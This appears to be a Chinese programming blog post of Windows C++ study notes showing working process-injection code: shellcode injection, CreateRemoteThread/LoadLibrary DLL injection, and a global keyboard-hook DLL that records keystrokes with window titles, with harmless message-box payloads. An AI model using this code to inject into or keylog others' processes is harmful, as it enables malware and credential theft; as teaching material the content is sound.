windows注入

// 注入_shellcode注入.cpp : 定義控制臺應用程序的入口點。
//

#include "stdafx.h"
#include <Windows.h>

bool injectShellcode( DWORD dwPid , const BYTE* pShellCode , DWORD dwSize ) ;

int _tmain(int argc, _TCHAR* argv[])
{

    BYTE shellcode[] = 
    {   
        "\xE8\x00\x00\x00\x00"  // call $+5
        "\x58"                  // pop  eax
        "\x6A\x00"              // push 0
        "\x83\xC0\x17"          // add eax,0x17
        "\x50"                  // push eax
        "\x83\xC0\x14"          // add eax,0x14
        "\x50"                  // push eax
        "\x6A\x00"              // push 0
        "\xB8\x30\x88\x20\x74"  // mov eax,MessageBoxA
        "\xFF\xD0"              // call eax
        "\xC2\x04\x00"          // ret 0x04
        "來自shellcode的問候\0"
        "大家好,我是shellcode!!!"
    };

    // 將MessageBoxA函數的地址寫入到shellcode中.
    *(DWORD*)( shellcode + 19 ) = (DWORD)&MessageBoxA;


    DWORD   dwPid;
    printf( "輸入要注入到的進程PID:" );
    scanf_s( "%d[*]" , &dwPid );

    // 注入設計好的shellcode
    injectShellcode( dwPid , shellcode ,sizeof(shellcode));

    return 0;
}

bool injectShellcode( DWORD dwPid , const BYTE* pShellCode , DWORD dwSize ) {

    // shellcode注入的方式和DLL注入的方式差不多.
    // 但是shellcode注入的要求比較高, 需要自己編寫shellcode
    // 注入步驟:
    // 1. 在遠程進程中開辟內存空間
    // 2. 將shellcode寫入到遠程進程的內存空間中
    // 3. 創(chuàng)建遠程線程,將被寫入到遠程進程內存shellcode的首地址
    //    作為線程回調函數的地址.
    // 4. 等待線程退出
    // 5. 銷毀遠程進程內存.

    bool    bRet = false;
    HANDLE  hProcess = 0;
    HANDLE  hRemoteThread = 0;
    LPVOID  pRemoteBuff = NULL;
    DWORD   dwWrite = 0 ;



    // 打開進程
    hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE ,/*創(chuàng)建線程和寫內存權限*/
        FALSE ,
        dwPid /*進程ID*/
        );

    if( hProcess == NULL ) {
        printf( "打開進程失敗,可能由于本程序的權限太低,請以管理員身份運行再嘗試\n" );
        goto _EXIT;
    }


    // 1. 在遠程進程上開辟內存空間
    pRemoteBuff = VirtualAllocEx(
        hProcess ,
        NULL ,
        64 * 1024 , /*大小:64Kb*/
        MEM_COMMIT ,/*預定并提交*/
        PAGE_EXECUTE_READWRITE/*可讀可寫可執(zhí)行的屬性*/
        );
    if( pRemoteBuff == NULL ) {
        printf( "在遠程進程上開辟空降失敗\n" );
        goto _EXIT;
    }

    // 2. 將DLL路徑寫入到新開的內存空間中
    WriteProcessMemory(
        hProcess ,
        pRemoteBuff ,             /* 要寫入的地址 */
        pShellCode ,              /* 要寫入的內容的地址 */
        dwSize ,                  /* 寫入的字節(jié)數 */
        &dwWrite                  /* 輸出:函數實際寫入的字節(jié)數 */
        );
    if( dwWrite != dwSize ) {
        printf( "寫入DLL路徑失敗\n" );
        goto _EXIT;
    }

    //3. 創(chuàng)建遠程線程,
    //   遠程線程創(chuàng)建成功后,DLL就會被加載,DLL被加載后DllMain函數
    //   就會被執(zhí)行,如果想要執(zhí)行什么代碼,就在DllMain中調用即可.
    hRemoteThread = CreateRemoteThread(
        hProcess ,
        0 , 0 ,
        (LPTHREAD_START_ROUTINE)pRemoteBuff ,  /* 線程回調函數 */
        0 ,                                    /* 回調函數參數 */
        0 , 0 );

    // 等待遠程線程退出.
    // 退出了才釋放遠程進程的內存空間.
    WaitForSingleObject( hRemoteThread , -1 );


    bRet = true;


_EXIT:
    // 釋放遠程進程的內存
    VirtualFreeEx( hProcess , pRemoteBuff , 0 , MEM_RELEASE );
    // 關閉進程句柄
    CloseHandle( hProcess );

    return bRet;


}

==========================

// 注入_遠程線程注入.cpp : 定義控制臺應用程序的入口點。
//

#include "stdafx.h"
#include <Windows.h>

bool injectDll( DWORD dwPid , const char* pszDllPath );

int _tmain(int argc, _TCHAR* argv[])
{
    DWORD   dwPid;
    char    szDllPath[ MAX_PATH ] = { "E:\\code\\課上代碼\\核心編程_內存管理\\Debug\\testDll2.dll"};


    printf( "輸入要注入到的進程PID:" );
    scanf_s( "%d[*]" , &dwPid );

    printf( "輸入要注入到的DLL:" );
    //scanf_s( "%s" , szDllPath , MAX_PATH );

    injectDll( dwPid , szDllPath );

    return 0;
}


// 
bool injectDll( DWORD dwPid , const char* pszDllPath ) {

    /**
    * 遠程注入的目標: 將一個DLL注入到其它進程的地址空間中.
    * 注入方法:
    * 背景知識:
    * 1. windwos中有一個創(chuàng)建遠程線程的API. 這個API能夠在
    *    目標進程中創(chuàng)建一個線程. 在創(chuàng)建線程時,能夠由自己指
    *    定線程的回調函數, 但這個函數的地址必須在目標進程
    *    的地址空間中. 線程被創(chuàng)建起來之后, 這個函數就會被
    *    執(zhí)行.
    * 2. 當一個DLL被進程加載后, 操作系統(tǒng)會在物理內存中分配
    *    一塊空間來保存它, 當這個DLL再次被其它進程加載時,
    *    系統(tǒng)不會再次分配物理內存來保存這個DLL,而是將這個DLL
    *    所在的物理內存映射到新進程的虛擬地址空間中.
    *    因此,系統(tǒng)DLL在每次開機之后,它們的加載地址都是不變的,
    *    所以,所有進程的系統(tǒng)DLL的加載基址都是相同的,因為它們
    *    的加載基址相同,故每一個API的地址都在任何進程中也都是
    *    相同的.
    *    使用CreateRemoteThread函數,在目標進程中創(chuàng)建線程.
    *    CreateRemoteThread需要指定線程回調函數,這個回調
    *    函數只有一個參數, 而LoadLibrary這個系統(tǒng)API剛好也
    *    只有一個參數.而LoadLibrary是一個系統(tǒng)DLL中的函數,
    *    它在所有進程中的地址都是同一個, 正好為我們所用.
    *    這樣一來, 當我們創(chuàng)建遠程線程,LoadLibrary就會被調
    *    用,現在我們只需要給LoadLibrary函數傳一個DLL路徑
    *    就成功了. 但這個字符串必須保存在目標進程的地址空間中.
    *    因為,遠程線程的回調函數LoadLibrary雖然在任何進程中
    *    的地址都是同一個, 但是執(zhí)行它的是其它進程,因此,它的
    *    參數中用到的地址也必須是它所在進程的地址.
    * 注入過程:
    * 1. 使用VirtualAllocEx在目標進程中開辟內存空間.
    * 2. 使用WriteProcessMemory將DLL路徑寫入到目標進程新
    *    開的內存空間中.
    * 3. 創(chuàng)建遠程線程, 使用LoadLibrary函數作為線程的回調函數,
    *    使用VirtualAllocEx開辟出的內存空間首地址作為回調函數的參數
    * 4. 等待線程退出.
    * 5. 銷毀VirtualAllocEx開辟出來的內存空間
    */

    bool    bRet            = false;
    HANDLE  hProcess        = 0;
    HANDLE  hRemoteThread   = 0;
    LPVOID  pRemoteBuff     = NULL;
    SIZE_T  dwWrite         = 0 ;
    DWORD   dwSize          = 0;



    // 打開進程
    hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |PROCESS_VM_WRITE ,/*創(chuàng)建線程和寫內存權限*/
        FALSE ,
        dwPid /*進程ID*/
        );

    if( hProcess == NULL ) {
        printf( "打開進程失敗,可能由于本程序的權限太低,請以管理員身份運行再嘗試\n" );
        goto _EXIT;
    }


    // 1. 在遠程進程上開辟內存空間
    pRemoteBuff = VirtualAllocEx( hProcess ,
                                  NULL ,
                                  64 * 1024 , /*大小:64Kb*/
                                  MEM_COMMIT ,/*預定并提交*/
                                  PAGE_EXECUTE_READWRITE/*可讀可寫可執(zhí)行的屬性*/
                                  );
    if( pRemoteBuff == NULL ) {
        printf( "在遠程進程上開辟空降失敗\n" );
        goto _EXIT;
    }

    // 2. 將DLL路徑寫入到新開的內存空間中
    dwSize = strlen( pszDllPath ) + 1;
    WriteProcessMemory( hProcess ,
                       pRemoteBuff, /* 要寫入的地址 */
                       pszDllPath,  /* 要寫入的內容的地址 */
                       dwSize,      /* 寫入的字節(jié)數 */
                       &dwWrite     /* 輸出:函數實際寫入的字節(jié)數 */
                        );
    if( dwWrite != dwSize ) {
        printf( "寫入DLL路徑失敗\n" );
        goto _EXIT;
    }

    //3. 創(chuàng)建遠程線程,
    //   遠程線程創(chuàng)建成功后,DLL就會被加載,DLL被加載后DllMain函數
    //   就會被執(zhí)行,如果想要執(zhí)行什么代碼,就在DllMain中調用即可.
    hRemoteThread = CreateRemoteThread(
        hProcess ,
        0 , 0 ,
        (LPTHREAD_START_ROUTINE)LoadLibraryA ,  /* 線程回調函數 */
        pRemoteBuff ,                           /* 回調函數參數 */
        0 , 0 );

    // 等待遠程線程退出.
    // 退出了才釋放遠程進程的內存空間.
    WaitForSingleObject( hRemoteThread , -1 );


    bRet = true;


_EXIT:
    // 釋放遠程進程的內存
    VirtualFreeEx( hProcess , pRemoteBuff , 0 , MEM_RELEASE );
    // 關閉進程句柄
    CloseHandle( hProcess );

    return bRet;
}

testDll2

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,
                      DWORD  ul_reason_for_call,
                      LPVOID lpReserved
)
{
    MessageBox(0, L"Dll被加載", L"DLL內部的彈窗", 0);
    if(ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        
    }
    return TRUE;
}

===================

// 注入_windwos消息HOOK注入.cpp : 定義控制臺應用程序的入口點。
//

#include "stdafx.h"
#include "../messageHookDll/messageHookDll.h"
#include <Windows.h>

int _tmain(int argc, _TCHAR* argv[])

{
    cb_installHook  pfnInstallHook = NULL;

    HMODULE hHookDll = LoadLibrary( L"messageHook.dll" );
    if( hHookDll == NULL ) {
        printf( "dll加載失敗\n" );
        return 0;
    }

    pfnInstallHook = GetProcAddress( hHookDll , FUNCTION_INSTALLHOOK );
    if( pfnInstallHook == NULL ) {
        printf( "獲取dll導出函數失敗\n" );
        return 0;
    }

    pfnInstallHook( );

    system( "pause" );
    return 0;
}

messageHookDll.h

#ifdef MESSAGEHOOKDLL_EXPORTS
#define MESSAGEHOOKDLL_API extern"C" __declspec(dllexport)
#else
#define MESSAGEHOOKDLL_API extern"C" __declspec(dllimport)
#endif

#define FUNCTION_INSTALLHOOK    "installHook"
#define FUNCTION_UNINSTALLHOOK  "uninstallHook"

typedef int( __stdcall *cb_installHook )( );
typedef int( __stdcall *cb_uninstallHook )( );



// 安裝鉤子
MESSAGEHOOKDLL_API int installHook( );

// 卸載鉤子
MESSAGEHOOKDLL_API int uninstallHook( ) ;

// messageHookDll.cpp : 定義 DLL 應用程序的導出函數。
//

#include "stdafx.h"
#include "messageHookDll.h"


------------------------------
// messageHookDll.cpp : 定義控制臺應用程序的入口點。
//

#include "stdafx.h"
#include <windows.h>
#include "messageHookDll.h"
#include <stdio.h>
#include <stdlib.h>

HHOOK   g_hHook;
HMODULE g_hModule;



LRESULT CALLBACK KeyboardProc( int code , WPARAM wParam , LPARAM lParam ) {

    // 判斷是否wParam與lParam都有鍵盤消息,
    //是的話則執(zhí)行打印操作
    if( code == HC_ACTION ) {

        // 將256個虛擬鍵的狀態(tài)拷貝到指定的緩沖區(qū)中,
        //如果成功則繼續(xù)
        BYTE KeyState[ 256 ] = { 0 };
        if( GetKeyboardState( KeyState ) ) {

            
            // 得到第16–23位,鍵盤虛擬碼
            UINT  keyCode = ( lParam >> 16 ) & 0x00ff;
            WCHAR wKeyCode = 0;
            // 轉換成ASCII碼
            ToAscii( (UINT)wParam ,keyCode ,KeyState ,(LPWORD)&wKeyCode , 0 );


            // 獲取前端窗口
            TCHAR szWndTitle[ 512 ];
            HWND hWnd = GetForegroundWindow( );
            // 獲取窗口標題.
            GetWindowText( hWnd , szWndTitle , 512 );


            // 將其打印出來
            WCHAR szInfo[ 516 ] = { 0 };
            swprintf_s( szInfo , _countof( szInfo ) , L">>>>   [%s] : %c <<<<" , szWndTitle , (WCHAR)wKeyCode );

            OutputDebugString( szInfo );
        }
    }

    return CallNextHookEx( g_hHook , code , wParam , lParam );
}
MESSAGEHOOKDLL_API DWORD g_tid = 0;

// 安裝鉤子
MESSAGEHOOKDLL_API int installHook( ) {

    g_hHook = SetWindowsHookEx(
        WH_KEYBOARD ,               /* 要HOOK的消息類型 */
        KeyboardProc ,              /* 鉤子回調 */
        g_hModule ,                 /* 鉤子回調函數所在的模塊句柄,在這里使用的是本DLL的句柄 */
        g_tid                       /* 要鉤住的線程ID,為0時鉤住所有線程 */
        );
    return g_hHook != NULL;
}


// 卸載鉤子
MESSAGEHOOKDLL_API int uninstallHook( ) {

    return UnhookWindowsHook( WH_KEYBOARD , KeyboardProc ) != 0;
}


BOOL APIENTRY DllMain( HMODULE hModule ,DWORD  ul_reason_for_call ,LPVOID lpReserved) 
{
    switch( ul_reason_for_call ) {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        {
            g_hModule = hModule;
        }

        break;


        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            // DLL被卸載時卸載鉤子
            // uninstallHook( );
            MessageBox( NULL , L"DLL被卸載" , L"提示" , 0 );
            break;
    }
    return TRUE;
}
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

友情鏈接更多精彩內容